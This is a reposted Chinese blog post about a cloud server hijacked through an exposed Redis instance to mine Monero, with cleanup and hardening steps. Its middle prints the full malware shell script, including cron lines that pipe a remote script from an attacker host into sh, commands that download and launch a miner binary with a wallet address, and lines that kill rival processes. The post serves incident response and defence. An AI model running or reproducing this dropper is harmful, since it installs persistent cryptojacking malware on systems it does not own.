• 阿里云服务器被挖矿程序minerd入侵的终极解决办法[转载]


          突然发现阿里云服务器CPU很高,几乎达到100%,执行 top c 一看,吓一跳,结果如下:

    3798 root      20   0  386m 7852 1272 S 300.0  0.1   4355:11 /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofT  
    5844 root      20   0 3448m 292m  14m S  1.7  3.7  26:02.07 /usr/java/default/bin/java -Xms64M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/us  
    2500 root      20   0  220m 9.9m 5176 S  0.3  0.1   0:09.02 /tmp/ddg.217                                                                                                                        
       1 root      20   0 19360 1532 1232 S  0.0  0.0   0:00.61 /sbin/init     

    有个进程minerd尽然占用了300%的CPU, 百度了一下,貌似服务器被利用Redis漏洞攻击,植入了挖矿程序,挖类似比特币的东西。

    查到几篇文章都有人遇到同样问题,解决的办法:http://blog.csdn.net/hu_wen/article/details/51908597

    但我去查看启动的服务,尽然没有 lady 这个服务。 找不到根源,那个minerd进程删掉就又起来了,后来想了个临时办法,先停掉了挖矿的进程

    1. 关闭访问挖矿服务器的访问 

    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.

    2. chmod -x minerd  ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。

    3. pkill minerd  ,杀掉进程

    4. service stop crond 或者 crontab -r 删除所有的执行计划

    5. 执行top,查看了一会,没有再发现minerd 进程了。

    6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。

    下载脚本的语句:

    */5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh  

    病毒文件内容如下,感兴趣的可以研究下:

    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  
      
    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root  
    mkdir -p /var/spool/cron/crontabs  
    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root  
      
    if [ ! -f "/tmp/ddg.217" ]; then  
        curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217  
    fi  
    chmod +x /tmp/ddg.217 && /tmp/ddg.217  
    killall /tmp/ddg.216  
      
      
    if [ -d "/opt/yam" ]; then  
        rm -rf /opt/yam  
    fi  
      
    ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9  
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9  
      
    #/opt/minerd -h  
    #if [ $? != "0" ]; then  
        #ps auxf|grep -v grep|grep "/opt/minerd"  
        #if [ $? != "0" ]; then  
            #if [ ! -f /opt/yam ]; then  
                #curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam  
            #fi  
            #chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr  
        #fi  
    #fi  
      
    DoMiner()  
    {  
        if [ ! -f "/tmp/AnXqV" ]; then  
            curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV  
        fi  
        chmod +x /tmp/AnXqV  
        /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x  
    }  
    ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner  
      
      
    DoRedis6379()  
    {  
        iptables -F REDIS6379  
        iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT  
        #iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT  
        iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT  
        iptables -I INPUT -j REDIS6379  
    }  
    iptables -D OUTPUT -j REDIS6379  
    iptables -F REDIS6379  
    iptables -X REDIS6379  
    iptables -D INPUT -j REDIS63792  
    iptables -F REDIS63792  
    iptables -X REDIS63792  
    #iptables -N REDIS6379 && DoRedis6379  
    View Code

    解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:

    1. 修复 redis 的后门,

    1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
    2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
    3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
    4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf

    2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号

    3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.

  • 相关阅读:
    我藏在你的心里,你却不愿意寻找# BUG躲猫猫
    阴间需求之跨端登录
    神奇的props
    map与filter:你先我先?
    阴间BUG之动态路由刷新几率回首页
    阴间BUG之动态路由添加失败
    我在eltable就变了个模样,请你不要再想我,想起我
    SCP打包部署方法
    indexOf 与 includes
    YACC和BISON学习心得
  • 原文地址:https://www.cnblogs.com/dadonggg/p/8142905.html
Copyright © 2020-2023  润新知